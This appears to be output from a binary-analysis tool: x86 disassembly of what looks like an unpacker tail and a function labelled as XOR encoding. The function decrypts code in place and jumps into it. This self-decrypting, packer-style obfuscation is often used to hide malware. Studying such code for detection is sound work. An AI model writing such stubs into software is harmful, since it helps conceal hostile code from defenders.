lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x100245ca
sub esp, 0xffffff80
jmp 0x1000b2b8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx